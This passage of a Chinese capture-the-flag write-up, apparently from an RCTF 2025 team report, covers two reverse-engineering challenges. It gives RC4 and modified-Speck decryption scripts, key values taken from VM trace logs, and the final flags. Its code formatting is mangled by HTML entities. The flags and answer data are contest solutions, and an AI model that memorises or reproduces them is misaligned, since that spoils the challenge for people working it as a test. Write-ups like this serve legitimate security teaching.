def&nbsp;rc4_ksa(key_bytes):&nbsp; &nbsp; S =&nbsp;list(range(256))&nbsp; &nbsp; j =&nbsp;0&nbsp; &nbsp; keylen =&nbsp;len(key_bytes)&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(256):&nbsp; &nbsp; &nbsp; &nbsp; j = (j + S[i] + key_bytes[i % keylen]) &&nbsp;0xFF&nbsp; &nbsp; &nbsp; &nbsp; S[i], S[j] = S[j], S[i]&nbsp; &nbsp;&nbsp;return&nbsp;S
def&nbsp;rc4_prga(S, data):&nbsp; &nbsp; i = j =&nbsp;0&nbsp; &nbsp; out =&nbsp;bytearray()&nbsp; &nbsp;&nbsp;for&nbsp;b&nbsp;in&nbsp;data:&nbsp; &nbsp; &nbsp; &nbsp; i = (i +&nbsp;1) &&nbsp;0xFF&nbsp; &nbsp; &nbsp; &nbsp; j = (j + S[i]) &&nbsp;0xFF&nbsp; &nbsp; &nbsp; &nbsp; S[i], S[j] = S[j], S[i]&nbsp; &nbsp; &nbsp; &nbsp; k = S[(S[i] + S[j]) &&nbsp;0xFF]&nbsp; &nbsp; &nbsp; &nbsp; out.append(b ^ k)&nbsp; &nbsp;&nbsp;return&nbsp;bytes(out)
S = rc4_ksa(key)plain = rc4_prga(S, cipher)print(plain)"""b'RCTF{AntiDbg_Reversing_2025_v2.0_Ch4llenge}\xda\x95\xc0K\x07\xba\x9b[b\xdc\xf6S \xa8x\xa3\xbcu\xbaki\xf4\xe2:P%AzT\xe2\xe8\x19\x0e\x12q\xb3ByI\x16J\xbe\x95\xce\xd6\xd9\xa0\x0c\x08Pz\xf3\xc8\x0b\xe2x[fh\xd3\xc7y\xe8\xf2\xb03E\xa0G|9\xc2\xb0\xdd-\xf1\xae\xd7\xec'"""

Onion

vm 套娃

输入一堆数,加密顺序为

简易运算加密

类tea,魔改好多,问ai说是speck

明文加密结果与密文进行校验然后作为key解密下一段vmcode。

循环往复,如此套娃。

思路是,解决第一个数,后面用同样的方法进行能工智人即可,全自动化不会。

解决第一个数

首先是还原指令流,一般两种方法,写代码模拟或者trace打log。

此处使用后者。

然后队友使用强大的钞能力进行了一波ai分析。得到第一层的大体逻辑。

ai分析得到了上面概述说的大体流程,当然也结合了一些经验。

so,第二步,解密第一个数。

解密两步走

  1. 从log中提取关键值。
  2. 还原解密代码

第一步,从log中提取关键值。

需要提取的有 简易运算加密的参数,以及speck的参数。

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line00010223    .text:vm_execute+A96 &nbsp; &nbsp;  mov &nbsp; &nbsp; rax, [rax+rcx] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RAX=48F0E6421AC66DEA&nbsp;00010223  .text:vm_execute+60B &nbsp; &nbsp;  mov &nbsp; &nbsp; rcx, [rsp+rdi*8+328h+s]   RCX=48F0E6421AC66DEA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  00010223    .text:vm_execute+613&nbsp; &nbsp;   mov &nbsp; &nbsp; rdx, rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  RDX=48F0E6421AC66DEA
key0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;0x36B1CC9FE433713D&nbsp; 提取于:00010223    .text:vm_execute:loc_55555556BE01   mov &nbsp; &nbsp; rax, [rax+rcx];&nbsp;opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器   RAX=36B1CC9FE433713Dkey1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;0xF97646D69C84EBD8&nbsp; 提取于:00010223   .text:vm_execute:loc_55555556BE01   mov &nbsp; &nbsp; rax, [rax+rcx];&nbsp;opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器   RAX=F97646D69C84EBD8

第二步

解密脚本如下

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#include&nbsp;<stdio.h>#include&nbsp;<stdint.h>
// 32位循环移位uint32_t&nbsp;ror32(uint32_t&nbsp;v,&nbsp;int&nbsp;s) { s &=&nbsp;31;&nbsp;return&nbsp;(v >> s) | (v << (32&nbsp;- s)); }uint32_t&nbsp;rol32(uint32_t&nbsp;v,&nbsp;int&nbsp;s) { s &=&nbsp;31;&nbsp;return&nbsp;(v << s) | (v >> (32&nbsp;- s)); }
// speck解密uint64_t&nbsp;vm_tea_decrypt(uint64_t&nbsp;input) {&nbsp; &nbsp;&nbsp;uint32_t&nbsp;v0 = input &&nbsp;0xFFFFFFFF;&nbsp; &nbsp;&nbsp;uint32_t&nbsp;v1 = (input >>&nbsp;32) &&nbsp;0xFFFFFFFF;&nbsp; &nbsp;&nbsp;uint32_t&nbsp;keys[27];&nbsp; &nbsp;&nbsp;uint32_t&nbsp;r2 =&nbsp;0xE433713D, r3 =&nbsp;0x36B1CC9F, r4 =&nbsp;0x9C84EBD8, r5 =&nbsp;0xF97646D6;&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;27; i++) {&nbsp; &nbsp; &nbsp; &nbsp; keys[i] = r2;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(i <&nbsp;26) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;t0 =&nbsp;ror32(r3,&nbsp;8) + r2;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t0 ^= i;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;t1 =&nbsp;rol32(r2,&nbsp;3) ^ t0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r2 = t1; r3 = r4; r4 = r5; r5 = t0;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;26; i >=&nbsp;0; i--) {&nbsp; &nbsp; &nbsp; &nbsp; v1 ^= v0;&nbsp; &nbsp; &nbsp; &nbsp; v1 =&nbsp;ror32(v1,&nbsp;3);&nbsp; &nbsp; &nbsp; &nbsp; v0 ^= keys[i];&nbsp; &nbsp; &nbsp; &nbsp; v0 -= v1;&nbsp; &nbsp; &nbsp; &nbsp; v0 =&nbsp;rol32(v0,&nbsp;8);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;((uint64_t)v1 <<&nbsp;32) | v0;}
// reverseuint64_t&nbsp;reverse_xor(uint64_t&nbsp;v) {&nbsp; &nbsp; v ^=&nbsp;0x8CB331163A92FC19ULL;&nbsp; &nbsp; v +=&nbsp;0x5566488C9C5CF234ULL;&nbsp; &nbsp; v ^=&nbsp;0x5074D85B9194E696ULL;&nbsp; &nbsp; v +=&nbsp;0x48F0E6421AC66DEAULL;&nbsp; &nbsp;&nbsp;return&nbsp;v;}
int&nbsp;main() {&nbsp; &nbsp;&nbsp;uint64_t&nbsp;target =&nbsp;0xDA19BA6B81C83F61ULL;
&nbsp; &nbsp;&nbsp;uint64_t&nbsp;after_tea =&nbsp;vm_tea_decrypt(target);&nbsp; &nbsp;&nbsp;printf("TEA dec: 0x%016llx\n", after_tea);
&nbsp; &nbsp;&nbsp;uint64_t&nbsp;result =&nbsp;reverse_xor(after_tea);&nbsp; &nbsp;&nbsp;printf("Result: &nbsp;0x%016llx (%llu)\n", result, result);
&nbsp; &nbsp;&nbsp;return&nbsp;0;}

如此,我们就搓出来了。。。第一个数。那么剩下29个怎么办。能工智人,继续搓。

enc: 0xda19ba6b81c83f61 key:0x36b1cc9fe433713d,0xf97646d69c84ebd8

02= a28f38bd0463522c

enc: 0x659391a5dc3522b3 key:0x8d85b3156df9f721,0x28e3d33340bc0884

01= bf11b34d0ce941cc

enc: 0x5538224d4c7a252akey:0x1d1a63b571be74bc,0x3e36eee3aac04cfd

14= ef320f9e6ae31520

enc: 0x9766ec5e9e3303c0key:0x66a2d5250151c6d, 0x6d20bd39b0f2badc

11= 36646367b78c2f91

以下省略

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineba610b6c5d80c91abf11b34d0ce941cca28f38bd0463522c79ed5d84199dd9cb4d9c56b2a1d77a0dfe13c54ceb12fea8494a63fc85b9953aad1f6be84bbb4680cd05f91609d653fa55493aa141fbe86f25bc9aff736b80a8d8817dda43824d2c5fcca9a9cb65130d6f3ed35da24dacfab5e1534e1dc36c87ac1b4e2750778a01c8f82d07316dcd3b36646367b78c2f919eed7637cd5eaa26ff546a0085041459ef320f9e6ae315201e00a4b9e25488f61a9a0626a035fb9de2f1eb0e5248cd2c8a0bf5239eed75c4749e8082db34037df4d25540ed584887c12422512500c8877e1a125dcfa56359497cff13eaa5bf76d51ceddab7795459a922933b0b315a10cabd557ffa1df043e0459b855188d04582700d6f6a986873c01552dff3a12f670615548ece7312fb0e189fa8296579138d4c8f2124957228451572c65bcb3425554fca602792e8794f749f6bbca2014cb1e1adc831c8d5679c73a6d3f711e66e2ab305ec4e07b0b498a16d274bb044d2c409de0e72c1029e5e68e47d3a360a80a1570f48caceb3ddd6ab1c9a18ebb936RCTF{VM_ALU_SMC_RC4_SPECK!_593eb6079d2da6c187ed462b033fee34}

下次碰到套娃题,一定写解释器模拟自动化((

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

责任编辑:@Neko205


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星盟安全 @星盟安全团队《RCTF2025-WP》

RCTF2025-WP 网络安全文章

RCTF2025-WP

文章总结: 本文是RCTF2025Writeup,涵盖PWN、WEB、MISC、CRYPTO及逆向方向。PWN题利用浮点数与Shellcode注入;WEB题涉及
京津翼长城杯WP 网络安全文章

京津翼长城杯WP

文章总结: 本文详述京津冀长城杯CTF赛题解法。AI类涵盖数据标签投毒、模型后门植入及配置文件投毒;Web类利用特殊模式目录穿越、Tar软链接绕过WAF上传及C
WMCTF2025-WP 网络安全文章

WMCTF2025-WP

文章总结: 本文是WMCTF2025Writeup,涵盖Crypto、PWN、Web及Reverse方向。Crypto题解涉及格基规约与HNP攻击;PWN部分详
评论:0   参与:  0